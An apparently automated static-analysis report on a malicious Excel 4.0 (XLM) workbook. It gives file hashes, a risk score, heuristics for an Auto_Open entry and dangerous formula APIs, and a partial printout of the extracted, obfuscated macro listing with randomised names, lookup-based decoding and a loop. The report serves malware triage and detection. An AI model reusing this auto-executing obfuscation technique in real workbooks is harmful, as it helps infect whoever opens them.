Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7a211d71ac7df0a3…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:44:35 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 0efa9ae8fba44740164be9b07cdbfbdd SHA-1: 90d67ba9184894a8b93a3e15088eb0239feafce5 SHA-256: 7a211d71ac7df0a3bf5a2ef084b3178d2aceead6e304078a33a2a3f501c48c2f
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6922 bytes
SHA-256: 777fdd61002fa328dac53fa8cb2f0573e8a1eaf49207f818026ef24f3b80f8fe
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  SxtrQajbaCJ
' 0018     25 LABEL : Cell Value, String Constant - AbsJWUWoFg len=0 
' 0018     21 LABEL : Cell Value, String Constant - AqQjhx len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H154 
' 0018     22 LABEL : Cell Value, String Constant - BEaqLpM len=0 
' 0018     27 LABEL : Cell Value, String Constant - hepSpkrMruWt len=0 
' 0018     27 LABEL : Cell Value, String Constant - IadMpozEOgfW len=0 
' 0018     22 LABEL : Cell Value, String Constant - iEhKrar len=0 
' 0018     21 LABEL : Cell Value, String Constant - mapPyU len=0 
' 0018     23 LABEL : Cell Value, String Constant - nbMzZrko len=0 
' 0018     22 LABEL : Cell Value, String Constant - nEIBHyB len=0 
' 0018     26 LABEL : Cell Value, String Constant - OOEKIniJozD len=0 
' 0018     25 LABEL : Cell Value, String Constant - OpSfSsdHYm len=0 
' 0018     25 LABEL : Cell Value, String Constant - pesxJXPhes len=0 
' 0018     20 LABEL : Cell Value, String Constant - PziPd len=0 
' 0018     23 LABEL : Cell Value, String Constant - qADXLvKe len=0 
' 0018     26 LABEL : Cell Value, String Constant - sSPRGsSzuXf len=0 
' 0018     27 LABEL : Cell Value, String Constant - ULZaTGUNarTd len=0 
' 0018     24 LABEL : Cell Value, String Constant - UpMEaNHNb len=0 
' 0018     26 LABEL : Cell Value, String Constant - vGlRJNwVMFB len=0 
' 0018     21 LABEL : Cell Value, String Constant - wOFnwg len=0 
' 0018     21 LABEL : Cell Value, String Constant - zPmODy len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  SxtrQajbaCJ,H71,"SET.NAME("sSPRGsSzuXf",0+VALUE("0"))",""
'  SxtrQajbaCJ,H73,"SET.NAME("nEIBHyB",sSPRGsSzuXf)",""
'  SxtrQajbaCJ,H77,"SET.NAME("AqQjhx",sSPRGsSzuXf)",""
'  SxtrQajbaCJ,Q80,"",676.00000000000000000000
'  SxtrQajbaCJ,Q81,"",106.00000000000000000000
'  SxtrQajbaCJ,H82,"SET.NAME("zPmODy",COUNTA(iEhKrar))",""
'  SxtrQajbaCJ,Q82,"",-515.00000000000000000000
'  SxtrQajbaCJ,Q83,"",528.00000000000000000000
'  SxtrQajbaCJ,Q84,"",43.00000000000000000000
'  SxtrQajbaCJ,H85,"SET.NAME("ULZaTGUNarTd",COUNTA(BEaqLpM))",""
'  SxtrQajbaCJ,Q85,"",565.00000000000000000000
'  SxtrQajbaCJ,H87,[],""
'  SxtrQajbaCJ,H89,"SET.NAME("qADXLvKe","")",""
'  SxtrQajbaCJ,H92,"nEIBHyB",""
'  SxtrQajbaCJ,H94,"SET.NAME("mapPyU",HLOOKUP("*",iEhKrar,nEIBHyB,FALSE))",""
'  SxtrQajbaCJ,H97,"vGlRJNwVMFB",""
'  SxtrQajbaCJ,H101,"SET.NAME("wOFnwg",sSPRGsSzuXf)",""
'  SxtrQajbaCJ,H106,[],""
'  SxtrQajbaCJ,H108,"wOFnwg",""
'  SxtrQajbaCJ,H111,"pesxJXPhes",""
'  SxtrQajbaCJ,H115,"IadMpozEOgfW",""
'  SxtrQajbaCJ,H119,"PziPd",""
'  SxtrQajbaCJ,H121,"SET.NAME("AbsJWUWoFg",VALUE(HLOOKUP("*",BEaqLpM,PziPd,FALSE)))",""
'  SxtrQajbaCJ,H124,"OpSfSsdHYm",""
'  SxtrQajbaCJ,H127,"qADXLvKe",""
'  SxtrQajbaCJ,H130,"AqQjhx",""
'  SxtrQajbaCJ,H134,NEXT(),""
'  SxtrQajbaCJ,H137,"OOEKIniJozD",""
'  SxtrQajbaCJ,H142,[],""
'  SxtrQajbaCJ,H144,"UpMEaNHNb",""
'  SxtrQajbaCJ,H147,NEXT(),""
'  SxtrQajbaCJ,H152,RETURN(),""
'  SxtrQajbaCJ,H177,"SET.NAME("nbMzZrko",H71)",""
'  SxtrQajbaCJ,H180,"iEhKrar",""
'  SxtrQajbaCJ,H183,"SET.NAME("BEaqLpM",R52C14)",""
'  SxtrQajbaCJ,H186,"SET.NAME("UpMEaNHNb",193)",""
'  SxtrQajbaCJ,H190,"SET.NAME("hepSpkrMruWt",8)",""
'  SxtrQajbaCJ,H192,nbMzZrko(),""
'  SxtrQajbaCJ,H193,HALT(),""

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